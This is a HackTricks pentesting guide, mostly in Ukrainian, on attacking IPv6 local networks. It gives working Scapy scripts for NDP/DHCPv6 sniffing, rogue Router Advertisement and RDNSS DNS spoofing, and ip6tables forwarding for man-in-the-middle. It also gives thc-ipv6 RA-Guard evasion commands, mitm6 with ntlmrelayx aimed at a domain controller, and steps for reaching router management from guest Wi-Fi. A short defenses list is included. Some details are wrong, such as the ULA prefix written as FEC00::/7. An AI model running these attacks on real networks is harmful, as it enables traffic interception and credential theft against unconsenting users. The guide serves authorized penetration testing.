Pentesting IPv6
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основи теорії IPv6
Мережі
IPv6-адреси структуровані для покращення організації мережі та взаємодії пристроїв. IPv6-адреса поділяється на:
- Префікс мережі: Початкові 48 біт, що визначають сегмент мережі.
- Subnet ID: Наступні 16 біт, що використовуються для визначення конкретних підмереж всередині мережі.
- Ідентифікатор інтерфейсу: Останні 64 біт, які унікально ідентифікують пристрій у підмережі.
Хоча в IPv6 відсутній протокол ARP, притаманний IPv4, він вводить ICMPv6 з двома основними повідомленнями:
- Neighbor Solicitation (NS): Мультикаст-повідомлення для вирішення адрес.
- Neighbor Advertisement (NA): Юнікаст-відповіді на NS або спонтанні оголошення.
IPv6 також включає спеціальні типи адрес:
- Loopback Address (
::1): Еквівалент для IPv4127.0.0.1, для внутрішньої комунікації в межах хоста. - Link-Local Addresses (
FE80::/10): Для локальної мережевої активності, не для маршрутизації в інтернеті. Пристрої в одній локальній мережі можуть виявляти один одного, використовуючи цей діапазон.
Практичне використання IPv6 у мережевих командах
Щоб взаємодіяти з IPv6-мережами, можна використовувати різні команди:
- Ping Link-Local Addresses: Перевірте наявність локальних пристроїв за допомогою
ping6. - Neighbor Discovery: Використовуйте
ip neighдля перегляду пристроїв, виявлених на канальному рівні. - alive6: Альтернативний інструмент для виявлення пристроїв у тій самій мережі.
Нижче — кілька прикладів команд:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6-адреси можна отримати з MAC-адреси пристрою для локальної взаємодії. Ось спрощений посібник, як вивести Link-local IPv6-адресу з відомої MAC-адреси, а також короткий огляд типів IPv6-адрес і методів виявлення IPv6-адрес у мережі.
Deriving Link-local IPv6 from MAC Address
Given a MAC address 12:34:56:78:9a:bc, you can construct the Link-local IPv6 address as follows:
- Convert MAC to IPv6 format:
1234:5678:9abc - Prepend
fe80::and insertfffein the middle:fe80::1234:56ff:fe78:9abc - Инвертуйте сьомий біт зліва, змінивши
1234на1034:fe80::1034:56ff:fe78:9abc
IPv6 Address Types
- Unique Local Address (ULA): Для локальної комунікації, не призначена для маршрутизації в публічному інтернеті. Префікс:
FEC00::/7 - Multicast Address: Для одно-до-багатьох комунікацій. Доставляється всім інтерфейсам у мультикаст-групі. Префікс:
FF00::/8 - Anycast Address: Для одно-до-найближчого зв’язку. Надсилається найближчому інтерфейсу відповідно до маршрутизаційного протоколу. Частина глобального унікаст-діапазону
2000::/3.
Address Prefixes
- fe80::/10: Link-Local addresses (аналогічно 169.254.x.x)
- fc00::/7: Unique Local-Unicast (аналогічно приватним IPv4-діапазонам типу 10.x.x.x, 172.16.x.x, 192.168.x.x)
- 2000::/3: Global Unicast
- ff02::1: Multicast All Nodes
- ff02::2: Multicast Router Nodes
Discovering IPv6 Addresses within a Network
Way 1: Using Link-local Addresses
- Отримайте MAC-адресу пристрою в мережі.
- Виведіть Link-local IPv6-адресу з MAC-адреси.
Way 2: Using Multicast
- Надішліть ping на мультикаст-адресу
ff02::1, щоб виявити IPv6-адреси в локальній мережі.
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) Атаки
Several techniques exist for executing MitM attacks in IPv6 networks, such as:
- Spoofing ICMPv6 neighbor or router advertisements.
- Using ICMPv6 redirect or “Packet Too Big” messages to manipulate routing.
- Attacking mobile IPv6 (usually requires IPSec to be disabled).
- Setting up a rogue DHCPv6 server.
Виявлення IPv6-адрес у eild
Дослідження субдоменів
Один із методів пошуку субдоменів, які потенційно пов’язані з IPv6-адресами, полягає у використанні пошукових систем. Наприклад, ефективним може бути запит у форматі ipv6.*. Конкретно, у Google можна використати наступну команду пошуку:
site:ipv6./
Utilizing DNS Queries
Щоб виявити IPv6-адреси, можна запитувати певні типи DNS-записів:
- AXFR: Запит повного перенесення зони, що може виявити широкий набір DNS-записів.
- AAAA: Безпосередньо шукає IPv6-адреси.
- ANY: Широкий запит, що повертає всі доступні DNS-записи.
Probing with Ping6
Після визначення IPv6-адрес, пов’язаних із організацією, для перевірки можна використовувати утиліту ping6. Цей інструмент допомагає оцінити відгук виявлених IPv6-адрес і може також допомогти виявити сусідні IPv6-пристрої.
IPv6 Local Network Attack Techniques
У наступних розділах розглядаються практичні layer-2 IPv6-атаки, які можна виконати всередині того самого /64 сегмента без знання будь-якого глобального префікса. Усі наведені нижче пакети є link-local і прямують лише через локальний комутатор, що робить їх надзвичайно непомітними в більшості середовищ.
System Tuning for a Stable Lab
Перед роботою з IPv6-трафіком рекомендується підвищити безпеку вашої системи, щоб уникнути отруєння власними тестами та забезпечити найкращу продуктивність під час масової packet injection/sniffing.
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
Пасивне NDP & DHCPv6 Sniffing
Оскільки кожен IPv6-хост автоматично приєднується до кількох multicast-груп (ff02::1, ff02::2, …) і використовує ICMPv6 для SLAAC/NDP, ви можете створити карту всього сегмента, не відправляючи жодного пакета. Наступний однорядковий Python/Scapy-скрипт слухає найбільш цікаві L2-повідомлення та виводить кольоровий лог із часовими мітками, хто є хто:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
Результат: повна топологія link-local (MAC ⇄ IPv6) за кілька секунд, без спрацювання систем IPS/IDS, що покладаються на active scans.
Router Advertisement (RA) Spoofing
IPv6 хости покладаються на ICMPv6 Router Advertisements для виявлення шлюзу за замовчуванням. Якщо ви впровадите підроблені RAs частіше, ніж справжній маршрутизатор, пристрої без повідомлення автоматично почнуть використовувати вас як шлюз.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Щоб фактично переспрямувати трафік після перемоги в гонці:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
Прапори Router Advertisement (M/O) та пріоритет маршрутизатора за замовчуванням (Prf)
| Flag | Meaning | Effect on Client Behaviour |
|---|---|---|
| M (Managed Address Configuration) | Сигналізує, що доступна stateful addressing via DHCPv6 на сегменті. | Сильний індикатор, що DHCPv6 spoofing може спрацювати. |
| O (Other Configuration) | Сигналізує, що хости мають використовувати DHCPv6 для інших параметрів (DNS, NTP, …). | Адреса зазвичай все ще отримується через SLAAC, але DNS може бути підмінено через DHCPv6. |
| M=0 / O=0 | Чиста мережа в стилі SLAAC. | DHCPv6 може ніколи не з’явитися; зосередьтесь на rogue RA / RDNSS замість mitm6. |
| M=1 / O=1 | Змішане середовище. | Інформація від DHCPv6 та SLAAC може співіснувати; поверхня для spoofing найбільша. |
Під час pentest ви можете просто інспектувати легітимний RA один раз і вирішити, який вектор є можливим:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
Знайдіть поле flags [M,O] у дампі — здогадуватися не потрібно.
Поле Prf (Router Preference) в заголовку RA визначає, наскільки привабливим виглядає ваш підробний маршрутизатор, коли присутні кілька шлюзів:
| Значення Prf | Бінарне | Значення |
|---|---|---|
| Високий | 10 | Клієнти віддають перевагу цьому маршрутизатору порівняно з будь-яким Середнім/Низьким |
| Середній (за замовчуванням) | 01 | Використовується майже всіма легітимними пристроями |
| Низький | 00 | Вибирається лише коли не існує кращого маршрутизатора |
При генерації пакета за допомогою Scapy ви можете встановити його через параметр prf, як показано вище (prf=0x1 → Високий). Поєднання високого Prf, короткого інтервалу та ненульового часу життя робить ваш підробний шлюз вражаюче стабільним.
RDNSS (DNS) Spoofing via RA
RFC 8106 дозволяє додавати опцію Recursive DNS Server (RDNSS) у RA. Це основний примітив для підміни DNS, коли сегмент працює лише через SLAAC (M=0 / O=0) і клієнти не звертаються до DHCPv6. Підтримка клієнтами є залежною від реалізації, тому перевірте цільову ОС у лабораторії замість того, щоб припускати, що RDNSS буде підтримуватися усіма клієнтами.
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
Той самий пакет також може містити опцію DNSSL, щоб отруїти шляхи резолюції коротких імен в IPv6-only або dual-stack середовищах, де мають значення домени пошуку. Якщо ви коректно зупиняєте атаку, відправте revert RA з тією ж опцією і lifetime=0.
RA-Guard Evasion in Practice
RFC 7113 документує, чому спрощені розгортання RA-Guard можна обійти, коли вони не вміють парсити повний ланцюжок IPv6-заголовків або відкрито дозволяють фрагменти. Це не нове дослідження, але воно все ще має операційну значущість, оскільки багато комутаторів доступу реалізують лише часткову фільтрацію.
Recent thc-ipv6 builds expose this directly in the tooling:
# Hop-by-Hop header before the RA
sudo atk6-fake_router6 -H eth0 2001:db8:1337::/64
# Fragmentation / destination-options variants against weak RA-Guard
sudo atk6-fake_router6 -F eth0 2001:db8:1337::/64
sudo atk6-fake_router6 -D eth0 2001:db8:1337::/64
# Flooded variant with full RA-Guard evasion and DHCPv6 flags set
sudo atk6-flood_router26 -F -m eth0
Користуйтеся цим лише після підтвердження, що звичайний forged RA фільтрується. Якщо -H/-D/-F раптово змушує hosts приймати ваш rogue router, це свідчить про те, що switch співставляє лише фіксований IPv6 header замість реального ICMPv6 RA payload.
DHCPv6 DNS Spoofing (mitm6)
Коли легітимний RA рекламує M та/або O, Windows клієнти зазвичай відправляють DHCPv6 запити на адресу або допоміжну конфігурацію. mitm6 зловживає цією поведінкою — відповідає на DHCPv6 і вставляє вашу link-local IPv6 як DNS з короткою орендою. Це відкриває:
- NTLM relay attacks (WPAD + DNS hijacking)
- Перехоплення внутрішнього розв’язування імен без торкання routers
- Низькошумове таргетування, оскільки можна обмежити poisoning до конкретних hosts або domains
Типове використання:
# DNS takeover without sending rogue RAs
sudo mitm6 -i eth0 --no-ra -d corp.local --host-allowlist wsus
# Pair it with IPv6-capable relay listeners
sudo ntlmrelayx.py -6 -t ldaps://dc.corp.local -wh wpad
Корисні деталі з поточних збірок mitm6:
--no-raзберігає атаку лише DHCPv6-коректною, коли мережа виявляє зловмисні RAs.-d/--domainі--host-allowlistзвужують отруєння замість перехоплення кожного запиту на сегменті.--ignore-nofqdnзменшує шум від клієнтів, які опускають опцію DHCPv6 FQDN.
Якщо сегмент чистий SLAAC (M=0 / O=0), mitm6 зазвичай є невдалим примітивом. Використовуйте rogue RAs / RDNSS натомість і зберігайте логіку вищого рівня relay на сторінці WPAD/relay.
Захист
- RA Guard / DHCPv6 Guard / ND Inspection на керованих комутаторах.
- ACL портів, які дозволяють надсилати RAs лише законному MAC маршрутизатора.
- Моніторинг на неочікувано високу частоту RAs або раптові зміни RDNSS.
- Вимкнення IPv6 на кінцевих пристроях — тимчасове рішення, яке часто порушує сучасні сервіси і приховує сліпі зони — віддавайте перевагу фільтрації L2.
NDP Router Discovery на гостевих/публічних SSID та доступ до сервісів керування
Багато споживчих маршрутизаторів відкривають демони керування (HTTP(S), SSH/Telnet, TR-069 тощо) на всіх інтерфейсах. У деяких розгортаннях SSID «guest/public» моститься до WAN/core і є лише IPv6. Навіть якщо IPv6 маршрутизатора змінюється при кожному завантаженні, його можна надійно дізнатися за допомогою NDP/ICMPv6 і потім підключитися безпосередньо до площини керування з гостевого SSID.
Типовий робочий процес із клієнта, підключеного до гостевого/публічного SSID:
- Виявити маршрутизатор через ICMPv6 Router Solicitation до мультикасту All-Routers
ff02::2і перехопити Router Advertisement (RA):
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RA розкриває link-local адресу маршрутизатора та часто глобальну адресу/префікс. Якщо відома тільки link-local адреса, пам’ятайте, що при підключеннях потрібно вказувати індекс зони, наприклад ssh -6 admin@[fe80::1%wlan0].
Альтернатива: використовуйте ndisc6 suite, якщо доступно:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- Дістатися до відкритих сервісів через IPv6 з гостьової SSID:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- Якщо management shell надає packet-capture tooling через wrapper (e.g., tcpdump), перевірте на argument/filename injection, що дозволяє передавати додаткові tcpdump flags, такі як
-G/-W/-z, для досягнення post-rotate command execution. Див.:
Заходи/примітки:
- Не прив’язуйте management до guest/public bridges; застосовуйте IPv6 firewalls на SSID bridges.
- Налаштуйте rate-limit та фільтруйте NDP/RS/RA на guest сегментах там, де це можливо.
- Для сервісів, які мають бути доступні, вимагайте authN/MFA та жорсткі rate-limits.
Джерела
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 7113 – RA-Guard Implementation Advice
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


